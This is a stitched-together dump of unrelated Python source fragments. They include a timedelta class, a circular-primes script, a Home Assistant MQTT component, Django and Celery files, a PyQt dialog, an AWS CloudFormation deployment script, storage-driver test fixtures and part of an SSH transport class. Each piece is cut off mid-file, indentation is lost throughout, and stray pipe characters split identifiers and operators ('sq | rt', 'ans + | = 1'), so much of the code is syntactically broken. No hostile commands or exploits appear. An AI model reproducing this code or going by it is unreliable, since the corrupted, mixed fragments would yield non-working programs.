d += days
s += seconds
microseconds = round(microseconds + usdouble)
assert isinstance(s, int)
assert isinstance(microseconds, int)
assert abs(s) <= 3 * 24 * 3600
assert abs(microseconds) < 3.1e6
# Just a little bit of carrying possible for microseconds and seconds.
seconds, us = divmod(microseconds, 1000000)
s += seconds
days, s = divmod(s, 24*3600)
d += days
assert isinstance(d, int)
assert isinstance(s, int) and 0 <= s < 24*3600
assert isinstance(us, int) and 0 <= us < 1000000
if abs(d) > 999999999:
raise OverflowError("timedelta # of days is too large: %d" % d)
self = object.__new__(cls)
self._days = d
self._seconds = s
self._microseconds = us
self._hashcode = -1
return self
def __repr__(self):
if self._microseconds:
return "%s.%s(%d, %d, %d)" % (self.__class__.__module__,
self.__class__.__qualname__,
self._days,
self._seconds,
self._microseconds)
if self._seconds:
return "%s.%s(%d, %d)" % (self.__class__.__module__,
self.__class__.__qualname__,
self._days,
self._seconds)
return "%s.%s(%d)" % (self.__class__.__module__,
self.__class__.__qualname__,
self._days)
def __str__(self):
mm, ss = divmod(self._seconds, 60)
hh, mm = divmod(mm, 60)
s = "%d:%02d:%02d" % (hh, mm, ss)
if self._days:
def plural(n):
return n, abs(n) != 1 and "s" or ""
s = ("%d day%s, " % plural(self._days)) + s
if self._microseconds:
s = s + ".%06d" % self._microseconds
| return s
def total_seconds(self): |
"""Total seconds in the duration."""
return ((self.days * 86400 + self.seconds) * 10**6 +
self.microseconds) / 10**6
# Read-only field accessors
@property
def days(self):
"""days"""
return self._days
@property
def seconds(self):
"""seconds"""
return self._seconds
@property
def microseconds(self):
"""microseconds"""
return self._microseconds
def __add__(self, other):
if isinstance(other, timedelta):
# for CPython compatibility, we cannot use
# our __class__ here, but need a real timedelta
return timedelta(self._days + other._days,
self._seconds + other._seconds,
self._microseconds + other._microseconds)
return NotImplemented
__radd__ = __add__
def __sub__(self, other):
if isinstance(other, timedelta):
# for CPython compatibility, we cannot use
# our __class__ here, but need a real timedelta
return timedelta(self._days - other._days,
self._seconds - other._seconds,
self._microseconds - other._microseconds)
return NotImplemented
def __rsub__(self, other):
if isinstance(other, timedelta):
return -self + other
return NotImplemented
def __neg__(self):
# for CPython compatibility, we cannot use
# our __class__ here, but need a real timedelta
return timedelta(-self._days,
-self._seconds,
-self._microseconds)
def __pos__(self):
return self
def __abs__(self):
if self._days < 0:
return -self
else:
return self
def __mul__(self, other):
if isinstance(other, int):
# for CPython compatibility, we cannot use
# our __class__ here, but need a real timedelta
return timedelta(self._days * other,
self._seconds * other,
self._microseconds * other)
if isinstance(other, float):
usec = self._to_microseconds()
a, b = other.as_integer_ratio()
return timedelta(0, 0, _divide_and_round(usec * a, b))
return NotImplemented
__rmul__ = __mul__
def _to_microseconds(self):
return ((self._days * (24*3600) + self._seconds) * 1000000 +
self._microseconds)
def __floordiv__(self, other):
if not isinstance(other, (int, timedelta)):
return NotImplemented
usec = self._to_microseconds()
if isinstance(other, timedelta):
return usec // other._to_microseconds()
if isinstance(other, int):
return timedelta(0, 0, usec // other)
def __truediv__(self, other):
if not isinstance(other, (int, float, timedelta)):
return NotImplemented
usec = self._to_microseconds()
if isinstance(other, timedelta):
return usec / other._to_microseconds()
if isinstance(other, int):
return timedelta(0, 0, _divide_and_round(usec, other))
if isinstance(other, float):
a, b = other.as_integer_ratio()
return timedelta(0, 0, _divide_and_round(b * usec, a))
def __mod__(self, other):
if isinstance(other, timedelta):
r = self._to_microseconds() % other._to_microseconds()
return timedelta(0, 0, r)
return NotImplemented
def __divmod__(self, other):
if isinstance(other, timedelta):
q, r = divmod(self._to_microseconds(),
other._to_microseconds())
return q, timedelta(0, 0, r)
return NotImplemented
# Comparisons of timedelta objects with other.
def __eq__(self, other):
if isinstance(other, timedelta):
return self._cmp(other) == 0
else:
return False
def __le__(self, other):
if isinstance(other, timedelta):
return self._cmp(other) <= 0
else:
_cmperror(self, other)
def __lt__(self, other):
if isinstance(other, timedelta):
return self._cmp(other) < 0
else:
_cmperror(self, other)
def __ge__(self, other):
if isinstance(other, timedelta):
return self._cmp(other) >= 0
else:
_cmperror(self, other)
def __gt__(self, other):
if isinstance(other, timedelta):
return self._cmp(other) > 0
else:
_cmperror(self, other)
def _cmp(self, other):
assert isinstance(other, timedelta)
return _cmp(self._getstate(), other._getstate())
def __hash__(self):
if self._hashcode == -1:
self._hashcode = hash(self._getstate())
return self._hashcode
def __bool__(self):
return (self._days != 0 or
self._seconds != 0 or
self._microseconds != 0)
# Pickle support.
def _getstate(self):
return (self._days, self._seconds, self._microseconds)
def __reduce__(self):
return (self.__class__, self._getstate())
timedelta.min = timedelta(-999999999)
timedelta.max = timedelta(days=999999999, hours=23, minutes=59, seconds=59,
microseconds=999999)
timedelta.resolution = timedelta(microseconds=1)
class date:
"""Concrete date type.
Constructors:
__new__()
fromtimestamp()
today()
fromordinal()
Operators:
__repr__, __str__
__eq__, __le__, __lt__, __ge__, __gt__, __hash__
__add__, __radd__, __sub__ (add/radd only with timede |
from math import sqrt
def is_prime(x):
for i in xrange(2, int(sq | rt(x) + 1)):
if x % i == 0:
return False
return True
def rotate(v):
res = []
u = str(v)
while True:
u = u[1:] + u[0]
w = int(u)
if w == v:
break
res.append(w)
return res
MILLION = 1000000
primes = filter(is_prime, range(2, MILLION))
s = set(primes)
ans = 0
for item in primes:
flag = True
print item
for y in rotate(item):
if y not in s:
flag = False
if flag:
ans + | = 1
print ans
|
mponents.mqtt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MQTT component, using paho-mqtt.
For more details about this component, please refer to the documentation at
https://home-assistant.io/components/mqtt/
"""
import json
import logging
import os
import socket
import time
from homeassistant.exceptions import HomeAssistantError
import homeassistant.util as util
from homeassistant.helpers import validate_config
from homeassistant.const import (
EVENT_HOMEASSISTANT_START, EVENT_HOMEASSISTANT_STOP)
_LOGGER = logging.getLogger(__name__)
DOMAIN = "mqtt"
MQTT_CLIENT = None
DEFAULT_PORT = 1883
DEFAULT_KEEPALIVE = 60
DEFAULT_QOS = 0
SERVICE_PUBLISH = 'publish'
EVENT_MQTT_MESSAGE_RECEIVED = 'MQTT_MESSAGE_RECEIVED'
DEPENDENCIES = []
REQUIREMENTS = ['paho-mqtt==1.1', 'jsonpath-rw==1.4.0']
CONF_BROKER = 'broker'
CONF_PORT = 'port'
CONF_CLIENT_ID = 'client_id'
CONF_KEEPALIVE = 'keepalive'
CONF_USERNAME = 'username'
CONF_PASSWORD = 'password'
CONF_CERTIFICATE = 'certificate'
ATTR_TOPIC = 'topic'
ATTR_PAYLOAD = 'payload'
ATTR_QOS = 'qos'
MAX_RECONNECT_WAIT = 300 # seconds
def publish(hass, topic, payload, qos=None):
""" Send an MQTT message. """
data = {
ATTR_TOPIC: topic,
ATTR_PAYLOAD: payload,
}
if qos is not None:
data[ATTR_QOS] = qos
hass.services.call(DOMAIN, SERVICE_PUBLISH, data)
def subscribe(hass, topic, callback, qos=DEFAULT_QOS):
""" Subscribe to a topic. """
def mqtt_topic_subscriber(event):
""" Match subscribed MQTT topic. """
if _match_topic(topic, event.data[ATTR_TOPIC]):
callback(event.data[ATTR_TOPIC], event.data[ATTR_PAYLOAD],
event.data[ATTR_QOS])
hass.bus.listen(EVENT_MQTT_MESSAGE_RECEIVED, mqtt_topic_subscriber)
MQTT_CLIENT.subscribe(topic, qos)
def setup(hass, config):
""" Get the MQTT protocol service. """
if not validate_config(config, {DOMAIN: ['broker']}, _LOGGER):
return False
conf = config[DOMAIN]
broker = conf[CONF_BROKER]
port = util.convert(conf.get(CONF_PORT), int, DEFAULT_PORT)
client_id = util.convert(conf.get(CONF_CLIENT_ID), str)
keepalive = util.convert(conf.get(CONF_KEEPALIVE), int, DEFAULT_KEEPALIVE)
username = util.convert(conf.get(CONF_USERNAME), str)
password = util.convert(conf.get(CONF_PASSWORD), str)
certificate = util.convert(conf.get(CONF_CERTIFICATE), str)
# For cloudmqtt.com, secured connection, auto fill in certificate
if certificate is None and 19999 < port < 30000 and \
broker.endswith('.cloudmqtt.com'):
certificate = os.path.join(os.path.dirname(__file__),
'addtrustexternalcaroot.crt')
global MQTT_CLIENT
try:
MQTT_CLIENT = MQTT(hass, broker, port, client_id, keepalive, username,
password, certificate)
except socket.error:
_LOGGER.exception("Can't connect to the broker. "
"Please check your settings and the broker "
"itself.")
return False
def stop_mqtt(event):
""" Stop MQTT component. """
MQTT_CLIENT.stop()
def start_mqtt(event):
""" Launch MQTT component when Home Assistant starts up. """
MQTT_CLIENT.start()
hass.bus.listen_once(EVENT_HOMEASSISTANT_STOP, stop_mqtt)
def publish_service(call):
""" Handle MQTT publish service calls. """
msg_topic = call.data.get(ATTR_TOPIC)
payload = call.data.get(ATTR_PAYLOAD)
qos = call.data.get(ATTR_QOS, DEFAULT_QOS)
if msg_topic is None or payload is None:
return
MQTT_CLIENT.publish(msg_topic, payload, qos)
hass.bus.listen_once(EVENT_HOMEASSISTANT_START, start_mqtt)
hass.services.register(DOMAIN, SERVICE_PUBLISH, publish_service)
return True
# pylint: disable=too-few-public-methods
class _JsonFmtParser(object):
""" Implements a json parser on xpath. """
def __init__(self, jsonpath):
import jsonpath_rw
self._expr = jsonpath_rw.parse(jsonpath)
def __call__(self, payload):
match = self._expr.find(json.loads(payload))
return match[0].value if len(match) > 0 else payload
# pylint: disable=too-few-public-methods
class FmtParser(object):
""" Wrapper for all supported formats. """
def __init__(self, fmt):
self._parse = lambda x: x
if fmt:
if fmt.startswith('json:'):
self._parse = _JsonFmtParser(fmt[5:])
def __call__(self, payload):
return self._parse(payload)
# This is based on one of the paho-mqtt examples:
# http://git.eclipse.org/c/paho/org.eclipse.paho.mqtt.python.git/tree/examples/sub-class.py
# pylint: disable=too-many-arguments
class MQTT(object):
""" Implements messaging service for MQTT. """
def __init__(self, hass, broker, port, client_id, keepalive, username,
password, certificate):
import paho.mqtt.client as mqtt
self.userdata = {
'hass': hass,
'topics': {},
'progress': {},
}
if client_id is None:
self._mqttc = mqtt.Client()
else:
self._mqttc = mqtt.Client(client_id)
self._ | mqttc.user_data_set(self.userdata)
if username is not None:
self._mqttc.username_pw_set(username, password)
if certificate is not None:
self._mqttc.tls_set(certificate)
| self._mqttc.on_subscribe = _mqtt_on_subscribe
self._mqttc.on_unsubscribe = _mqtt_on_unsubscribe
self._mqttc.on_connect = _mqtt_on_connect
self._mqttc.on_disconnect = _mqtt_on_disconnect
self._mqttc.on_message = _mqtt_on_message
self._mqttc.connect(broker, port, keepalive)
def publish(self, topic, payload, qos):
""" Publish a MQTT message. """
self._mqttc.publish(topic, payload, qos)
def start(self):
""" Run the MQTT client. """
self._mqttc.loop_start()
def stop(self):
""" Stop the MQTT client. """
self._mqttc.loop_stop()
def subscribe(self, topic, qos):
""" Subscribe to a topic. """
if topic in self.userdata['topics']:
return
result, mid = self._mqttc.subscribe(topic, qos)
_raise_on_error(result)
self.userdata['progress'][mid] = topic
self.userdata['topics'][topic] = None
def unsubscribe(self, topic):
""" Unsubscribe from topic. """
result, mid = self._mqttc.unsubscribe(topic)
_raise_on_error(result)
self.userdata['progress'][mid] = topic
def _mqtt_on_message(mqttc, userdata, msg):
""" Message callback """
userdata['hass'].bus.fire(EVENT_MQTT_MESSAGE_RECEIVED, {
ATTR_TOPIC: msg.topic,
ATTR_QOS: msg.qos,
ATTR_PAYLOAD: msg.payload.decode('utf-8'),
})
def _mqtt_on_connect(mqttc, userdata, flags, result_code):
""" On connect, resubscribe to all topics we were subscribed to. """
if result_code != 0:
_LOGGER.error('Unable to connect to the MQTT broker: %s', {
1: 'Incorrect protocol version',
2: 'Invalid client identifier',
3: 'Server unavailable',
4: 'Bad username or password',
5: 'Not authorised'
}.get(result_code, 'Unknown reason'))
mqttc.disconnect()
return
old_topics = userdata['topics']
userdata['topics'] = {}
userdata['progress'] = {}
for topic, qos in old_topics.items():
# qos is None if we were in process of subscribing
if qos is not None:
mqttc.subscribe(topic, qos)
def _mqtt_on_subscribe(mqttc, userdata, mid, granted_qos):
""" Called when subscribe successful. """
topic = userdata['progress'].pop(mid, None)
if topic is None:
return
userdata['topics'][topic] = granted_qos
def _mqtt_on_unsubscribe(mqttc, userdata, mid, granted_qos):
""" Called when subscribe successful. """
topic = userdata['progress'].pop(mid, None)
if topic is None:
return
userdata['topics'].pop(topic, None)
def _mqtt_on_disconnect(mqttc, u |
"" | "
Empt | y
"""
|
from __future__ import absolute_import
from celery import shared_task
import praw
from .commonTasks import *
from .models import Redditor, RedditorStatus, Status
@shared_task
def test(pa | ram):
return 'The test task executed with argument "%s" ' % param
@shared_task
def update_user(redditor):
update_user_status(redditor, 10)
get_submissions(redditor)
update_u | ser_status(redditor, 20)
get_comments(redditor)
update_user_status(redditor, 30)
@shared_task
def write_user(user):
create_user(user)
|
"""
WSGI config for spendrbackend project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
http | s://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "spendrbackend.settings")
application = get_wsgi_applica | tion()
|
import os
import sys
path = os. | path.dirname(os.pa | th.dirname(os.path.realpath(__file__)))
sys.path.insert(0, path)
|
# Created By: Virgil Dupras
# Created On: 2010-02-05
# Copyright 2015 Hardcoded Software (http://www.hardcoded.net)
#
# This software is licensed under the "GPLv3" License as described in the "LICENSE" file,
# which should be included with this package. The terms are also available at
# http | ://www.gnu.org/licenses/gpl-3.0.html
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QDialog
from .details_table import DetailsModel
class DetailsDialog(QDialog):
def __init__(self, parent, | app, **kwargs):
super().__init__(parent, Qt.Tool, **kwargs)
self.app = app
self.model = app.model.details_panel
self._setupUi()
# To avoid saving uninitialized geometry on appWillSavePrefs, we track whether our dialog
# has been shown. If it has, we know that our geometry should be saved.
self._shown_once = False
self.app.prefs.restoreGeometry('DetailsWindowRect', self)
self.tableModel = DetailsModel(self.model)
# tableView is defined in subclasses
self.tableView.setModel(self.tableModel)
self.model.view = self
self.app.willSavePrefs.connect(self.appWillSavePrefs)
def _setupUi(self): # Virtual
pass
def show(self):
self._shown_once = True
super().show()
#--- Events
def appWillSavePrefs(self):
if self._shown_once:
self.app.prefs.saveGeometry('DetailsWindowRect', self)
#--- model --> view
def refresh(self):
self.tableModel.beginResetModel()
self.tableModel.endResetModel()
|
#!/usr/bin/env python
from django.core.management import call_command
from django.core.management.base import BaseCommand
class Command(BaseCommand):
def handle(self, *args, **options):
call_command(
'dumpdata',
"waffle.flag",
inde | nt=4,
| use_natural_foreign_keys=True,
use_natural_primary_keys=True,
output='base/fixtures/waffle_flags.json'
)
|
'''
Copyright 2017, Fujitsu Network Communications, Inc.
License | d under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed | under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
|
from pprint import pprint
from amazon_cf import Environment
from amazon_client import Cloudformation
from helper import (
Listener,
SecurityGroupRules,
UserPolicy,
get_my_ip,
get_local_variables,
convert_to_aws_list,
ContainerDefinition
)
if __name__ == "__main__":
# Manually created items and constants
key_name = 'id_rsa'
filename = 'file.json'
stack_name = 'dev'
server_size = "t2.micro"
ami = "ami-64385917"
app_container = "martyni/app"
nginx_container = "martyni/nginx"
domain = "martyni.co.uk."
ssl_cert = "arn:aws:acm:eu-west-1:526914317097:certificate/c162e6f8-3f40-4468-a03f-03f5c8d8ee63"
container_size = 450
environment_variables = [
"AWS_DEFAULT_PROFILE",
"MAIL_USERNAME",
"MAIL_PASSWORD",
"MAIL_DEFAULT_SENDER",
"MAIL_SERVER",
"MAIL_PORT",
"MAIL_USE_SSL"
]
# Container configuration
app_container = {
"Name": "app",
"Image": app_container,
"Cpu": container_size,
"Memory": container_size,
"Environment": get_local_variables(environment_variables),
"Essential": True
}
nginx_container = {
"Name": "nginx",
"Image": nginx_container,
"Cpu": container_size,
"PortMappings": [
{
"Protocol": "tcp",
"ContainerPort": 80,
"HostPort": 80
}
],
"Memory": container_size,
"Environment": convert_to_aws_list(SITE=stack_name + "." + domain[:-1:]),
"Links": ["app"],
"Essential": True
}
# Healthcheck config
healthcheck = {
"HealthyThreshold": 2,
"Interval": 10,
"Target": "HTTP:80/",
"Timeout": 5,
"UnhealthyThreshold": 10
}
my_ip = get_my_ip()
my_env = Environment('my_env')
my_env.add_vpc("VPC")
my_env.add_subnet("My first subnet", AvailabilityZone={
"Fn::Select": ["1", {"Fn::GetAZs": {"Ref": "AWS::Region"}}]})
my_env.add_subnet("My second subnet", AvailabilityZone={
"Fn::Select": ["2", {"Fn::GetAZs": {"Ref": "AWS::Region"}}]})
my_env.add_subnet("My third subnet", AvailabilityZone={
"Fn::Select": ["0", {"Fn::GetAZs": {"Ref": "AWS::Region"}}]})
my_env.add_internet_gateway("internet gateway")
my_env.attach_internet_gateway("Attach gateway")
my_env.add_route_table("My default route table")
my_env.add_default_internet_route("To the internet")
my_env.add_subnet_to_route_table("add first subnet")
my_env.add_subnet_to_route_table(
"add second subnet", subnet="MySecondSubnet")
my_env.add_subnet_to_route_table(
"add third subnet", subnet="MyThirdSubnet")
in_rules = SecurityGroupRules("SecurityGroupIngress")
in_rules.add_rule("tcp", from_port=22, to_port=22, cidr | _ip=my_ip)
in_rules.add_rule("tcp", from_port=443, to_port=443, cidr_ip="0.0.0.0/0",)
in_rules.add_rule("tcp", from_port=80, to_port=80, cidr_ip="0.0.0.0/0",)
out_rules = SecurityGroupRules("SecurityGroupEgress")
out_rules.add_rule("-1", cidr_ip="0.0.0.0/0")
my_env.add_security_group(
"My security group", in_rules.rules, | out_rules.rules)
docker_user = UserPolicy("docker")
docker_user.add_statement([
"ecr:*",
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:Submit*",
"logs:CreateLogStream",
"logs:PutLogEvents"
])
my_env.add_role(stack_name + "role", Policies=docker_user.policies)
my_env.add_instance_profile("My profile")
my_env.add_launch_configuration(
"my launch configuration",
ami,
server_size,
KeyName=key_name,
AssociatePublicIpAddress=True,
IamInstanceProfile=my_env.cf_ref("MyProfile")
)
l_443 = Listener(
443,
80,
lb_protocol="HTTPS",
inst_protocol="HTTP",
ssl_certificate_id=ssl_cert
)
my_env.add_loadbalancer(
"My Load Balancer",
[l_443.get_listener()],
HealthCheck=healthcheck)
my_env.add_autoscaling_group("My Autoscaling Group", DesiredCapacity="1", LoadBalancerNames=[
my_env.cf_ref("MyLoadBalancer")])
app_container = ContainerDefinition(**app_container)
nginx_container = ContainerDefinition(**nginx_container)
my_env.add_ecs_task('web service',
container_definitions=[
app_container.return_container(),
nginx_container.return_container()
]
)
my_env.add_ecs_service('web service running')
resource_record = [my_env.cf_get_at("MyLoadBalancer", "DNSName")]
my_env.add_record_set(
stack_name + "." + domain,
_type="CNAME",
depends=["MyLoadBalancer"],
HostedZoneName=domain,
TTL="300",
ResourceRecords=resource_record
)
# Launch stack
pprint(my_env.show_resources())
my_env.write_resources(filename)
my_client = Cloudformation(stack_name, filename)
my_client.create_stack()
|
from django.db.models.signals import post_save, post_delete
from django.dispatch import receiver
from finance.models import Payment
from .models import BookingVehi | cle
@receiver([post_save, post_delete], sender=Payment)
def update_booking_payment_info(sender, instance, **kwargs):
if instance.item_content_type.app_label == 'opencabs' and \
instance.item_content_type.model == 'booking':
if instance.item_object:
i | nstance.item_object.save()
@receiver([post_save, post_delete], sender=BookingVehicle)
def update_booking_drivers(sender, instance, **kwargs):
instance.booking.update_drivers()
|
# -*- coding: utf-8 - | *-
# Copyright (c) 2018, Frappe and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
from frappe.model.d | ocument import Document
class QualityMeeting(Document):
pass |
ne, 'provider_auth': None,
'display_name': 'vol-test02', 'instance_uuid': None,
'attach_status': 'detached',
'volume_type': [],
'_name_id': None, 'volume_metadata': []}
test_volume5 = {'migration_status': None, 'availability_zone': 'nova',
'id': '1181d1b2-cea3-4f55-8fa8-3360d026ce25',
'name_id': '1181d1b2-cea3-4f55-8fa8-3360d026ce25',
'name': 'vol5',
'size': 1,
'volume_admin_metadata': [],
'status': 'available',
'volume_type_id':
'19fdd0dd-03b3-4d7c-b541-f4df46f308c8',
'deleted': False, 'provider_location':
'system^FNM11111|type^lun|lun_id^5',
'host': 'ubuntu-server12@array_backend_1',
'source_volid': None, 'provider_auth': None,
'display_name': 'vol-test05', 'instance_uuid': None,
'attach_status': 'detached',
'volume_type': [],
'_name_id': None, 'volume_metadata': []}
test_new_type2 = {'name': 'voltype0', 'qos_specs_id': None,
'deleted': False,
'extra_specs': {'storagetype:pool': 'POOL_SAS2'},
'id': 'f82f28c8-148b-416e-b1ae-32d3c02556c0'}
test_diff2 = {'encryption': {}, 'qos_specs': {},
'extra_specs':
{'storagetype:pool': ('POOL_SAS1', 'POOL_SAS2')}}
test_host2 = {'host': 'ubuntu-server12@array_backend_1',
'capabilities':
{'location_info': '|FNM00124500890',
'volume_backend_name': 'array_backend_1',
'storage_protocol': 'iSCSI'}}
test_cg = {'id': 'consistencygroup_id',
'name': 'group_name',
'status': 'deleting'}
test_cgsnapshot = {
'consistencygroup_id': 'consistencygroup_id',
'id': 'cgsnapshot_id',
'status': 'available'}
test_member_cgsnapshot = {
'name': 'snapshot1',
'size': 1,
'id': 'cgsnapshot_id',
'volume_name': 'vol1',
'volume_size': 1,
'consistencygroup_id': 'consistencygroup_id',
'cgsnapshot_id': 'cgsnapshot_id',
'project_id': 'project'
}
test_lun_id = 1
test_existing_ref = {'id': test_lun_id}
test_pool_name = 'Pool_02_SASFLASH'
device_map = {
'1122334455667788': {
'initiator_port_wwn_list': ['123456789012345', '123456789054321'],
'target_port_wwn_list': ['1122334455667777']}}
i_t_map = {'123456789012345': ['1122334455667777'],
'123456789054321': ['1122334455667777']}
POOL_PROPERTY_CMD = ('storagepool', '-list', '-name', 'unit_test_pool',
'-userCap', '-availableCap')
NDU_LIST_CMD = ('ndu', '-list')
NDU_LIST_RESULT = ("Name of the software package: -Compression " +
"Name of the software package: -Deduplication " +
"Name of the software package: -FAST " +
"Name of the software package: -FASTCache " +
"Name of the software package: -ThinProvisioning ",
0)
def SNAP_MP_CREATE_CMD(self, name='vol1', source='vol1'):
return ('lun', '-create', '-type', 'snap', '-primaryLunName',
source, '-name', name)
def SNAP_ATTACH_CMD(self, name='vol1', snapName='snapshot1'):
return ('lun', '-attach', '-name', name, '-snapName | ', snapName)
def SNAP_DELETE_CMD(self, name):
return ('snap', '-destroy', '-id', name, '-o')
def SNAP_CREATE_CMD(self, name):
return ('snap', '-create', '-res', 1, '-name', name,
'-allowReadWrite', 'yes',
'-allowAutoDelete', 'no')
def LUN_DELETE_CMD(self, name) | :
return ('lun', '-destroy', '-name', name, '-forceDetach', '-o')
def LUN_CREATE_CMD(self, name, isthin=False):
return ('lun', '-create', '-type', 'Thin' if isthin else 'NonThin',
'-capacity', 1, '-sq', 'gb', '-poolName',
'unit_test_pool', '-name', name)
def LUN_EXTEND_CMD(self, name, newsize):
return ('lun', '-expand', '-name', name, '-capacity', newsize,
'-sq', 'gb', '-o', '-ignoreThresholds')
def LUN_PROPERTY_ALL_CMD(self, lunname):
return ('lun', '-list', '-name', lunname,
'-state', '-status', '-opDetails', '-userCap', '-owner',
'-attachedSnapshot')
def MIGRATION_CMD(self, src_id=1, dest_id=1):
return ("migrate", "-start", "-source", src_id, "-dest", dest_id,
"-rate", "high", "-o")
def MIGRATION_VERIFY_CMD(self, src_id):
return ("migrate", "-list", "-source", src_id)
def GETPORT_CMD(self):
return ("connection", "-getport", "-address", "-vlanid")
def PINGNODE_CMD(self, sp, portid, vportid, ip):
return ("connection", "-pingnode", "-sp", sp, '-portid', portid,
"-vportid", vportid, "-address", ip)
def GETFCPORT_CMD(self):
return ('port', '-list', '-sp')
def CONNECTHOST_CMD(self, hostname, gname):
return ('storagegroup', '-connecthost',
'-host', hostname, '-gname', gname, '-o')
def ENABLE_COMPRESSION_CMD(self, lun_id):
return ('compression', '-on',
'-l', lun_id, '-ignoreThresholds', '-o')
provisioning_values = {
'thin': ['-type', 'Thin'],
'thick': ['-type', 'NonThin'],
'compressed': ['-type', 'Thin'],
'deduplicated': ['-type', 'Thin', '-deduplication', 'on']}
tiering_values = {
'starthighthenauto': [
'-initialTier', 'highestAvailable',
'-tieringPolicy', 'autoTier'],
'auto': [
'-initialTier', 'optimizePool',
'-tieringPolicy', 'autoTier'],
'highestavailable': [
'-initialTier', 'highestAvailable',
'-tieringPolicy', 'highestAvailable'],
'lowestavailable': [
'-initialTier', 'lowestAvailable',
'-tieringPolicy', 'lowestAvailable'],
'nomovement': [
'-initialTier', 'optimizePool',
'-tieringPolicy', 'noMovement']}
def LUN_CREATION_CMD(self, name, size, pool, provisioning, tiering):
initial = ['lun', '-create',
'-capacity', size,
'-sq', 'gb',
'-poolName', pool,
'-name', name]
if provisioning:
initial.extend(self.provisioning_values[provisioning])
else:
initial.extend(self.provisioning_values['thick'])
if tiering:
initial.extend(self.tiering_values[tiering])
return tuple(initial)
def CHECK_FASTCACHE_CMD(self, storage_pool):
return ('-np', 'storagepool', '-list', '-name',
storage_pool, '-fastcache')
def CREATE_CONSISTENCYGROUP_CMD(self, cg_name):
return ('-np', 'snap', '-group', '-create',
'-name', cg_name, '-allowSnapAutoDelete', 'no')
def DELETE_CONSISTENCYGROUP_CMD(self, cg_name):
return ('-np', 'snap', '-group', '-destroy',
'-id', cg_name)
def GET_CONSISTENCYGROUP_BY_NAME(self, cg_name):
return ('snap', '-group', '-list', '-id', cg_name)
def ADD_LUN_TO_CG_CMD(self, cg_name, lun_id):
return ('-np', 'snap', '-group',
'-addmember', '-id', cg_name, '-res', lun_id)
def CREATE_CG_SNAPSHOT(self, cg_name, snap_name):
return ('-np', 'snap', '-create', '-res', cg_name,
'-resType', 'CG', '-name', snap_name, '-allowReadWrite',
'yes', '-allowAutoDelete', 'no')
def DELETE_CG_SNAPSHOT(self, snap_name):
return ('-np', 'snap', '-destroy', '-id', snap_name, '-o')
def GET_CG_BY_NAME_CMD(self, cg_name):
return ('snap', '-group', '-list', '-id', cg_name)
def CONSISTENCY_GROUP_VOLUMES(self):
volumes = []
|
wly negotiated encryption parameters for outbound traffic"
m = Message()
m.add_byte(chr(MSG_NEWKEYS))
self._send_message(m)
block_size = self._cipher_info[self.local_cipher]['block-size']
if self.server_mode:
IV_out = self._compute_key('B', block_size)
key_out = self._compute_key('D', self._cipher_info[self.local_cipher]['key-size'])
else:
IV_out = self._compute_key('A', block_size)
key_out = self._compute_key('C', self._cipher_info[self.local_cipher]['key-size'])
engine = self._get_cipher(self.local_cipher, key_out, IV_out)
mac_size = self._mac_info[self.local_mac]['size']
mac_engine = self._mac_info[self.local_mac]['class']
# initial mac keys are done in the hash's natural size (not the potentially truncated
# transmission size)
if self.server_mode:
mac_key = self._compute_key('F', mac_engine.digest_size)
else:
mac_key = self._compute_key('E', mac_engine.digest_size)
self.packetizer.set_outbound_cipher(engine, block_size, mac_engine, mac_size, mac_key)
compress_out = self._compression_info[self.local_compression][0]
if (compress_out is not None) and ((self.local_compression != 'zlib@openssh.com') or self.authenticated):
self._log(DEBUG, 'Switching on outbound compression ...')
self.packetizer.set_outbound_compressor(compress_out())
if not self.packetizer.need_rekey():
self.in_kex = False
# we always expect to receive NEWKEYS now
self._expect_packet(MSG_NEWKEYS)
def _auth_trigger(self):
self.authenticated = True
# delayed initiation of compression
if self.local_compression == 'zlib@openssh.com':
compress_out = self._compression_info[self.local_compression][0]
self._log(DEBUG, 'Switching on outbound compression ...')
self.packetizer.set_outbound_compressor(compress_out())
if self.remote_compression == 'zlib@openssh.com':
compress_in = self._compression_info[self.remote_compression][1]
self._log(DEBUG, 'Switching on inbound compression ...')
self.packetizer.set_inbound_compressor(compress_in())
def _parse_newkeys(self, m):
self._log(DEBUG, 'Switch to new keys ...')
self._activate_inbound()
# can also free a bunch of stuff here
self.local_kex_init = self.remote_kex_init = None
self.K = None
self.kex_engine = None
if self.server_mode and (self.auth_handler is None):
# create auth handler for server mode
self.auth_handler = AuthHandler(self)
if not self.initial_kex_done:
# this was the first key exchange
self.initial_kex_done = True
# send an event?
if self.completion_event != None:
self.completion_event.set()
# it's now okay to send data again (if this was a re-key)
if not self.packetizer.need_rekey():
self.in_kex = False
self.clear_to_send_lock.acquire()
try:
self.clear_to_send.set()
finally:
self.clear_to_send_lock.release()
return
def _parse_disconnect(self, m):
code = m.get_int()
desc = m.get_string()
self._log(INFO, 'Disconnect (code %d): %s' % (code, desc))
def _parse_global_request(self, m):
kind = m.get_string()
self._log(DEBUG, 'Received global request "%s"' % kind)
want_reply = m.get_boolean()
if not self.server_mode:
self._log(DEBUG, 'Rejecting "%s" global request from server.' % kind)
ok = False
elif kind == 'tcpip-forward':
address = m.get_string()
port = m.get_int()
ok = self.server_object.check_port_forward_request(address, port)
if ok != False:
ok = (ok,)
elif kind == 'cancel-tcpip-forward':
address = m.get_string()
port = m.get_int()
self.server_object.cancel_port_forward_request(address, port)
ok = True
else:
ok = self.server_object.check_global_request(kind, m)
extra = ()
if type(ok) is tuple:
extra = ok
ok = True
if want_reply:
msg = Message()
if ok:
msg.add_byte(chr(MSG_REQUEST_SUCCESS))
msg.add(*extra)
else:
msg.add_byte(chr(MSG_REQUEST_FAILURE))
self._send_message(msg)
def _parse_request_success(self, m):
self._log(DEBUG, 'Global request successful.')
self.global_response = m
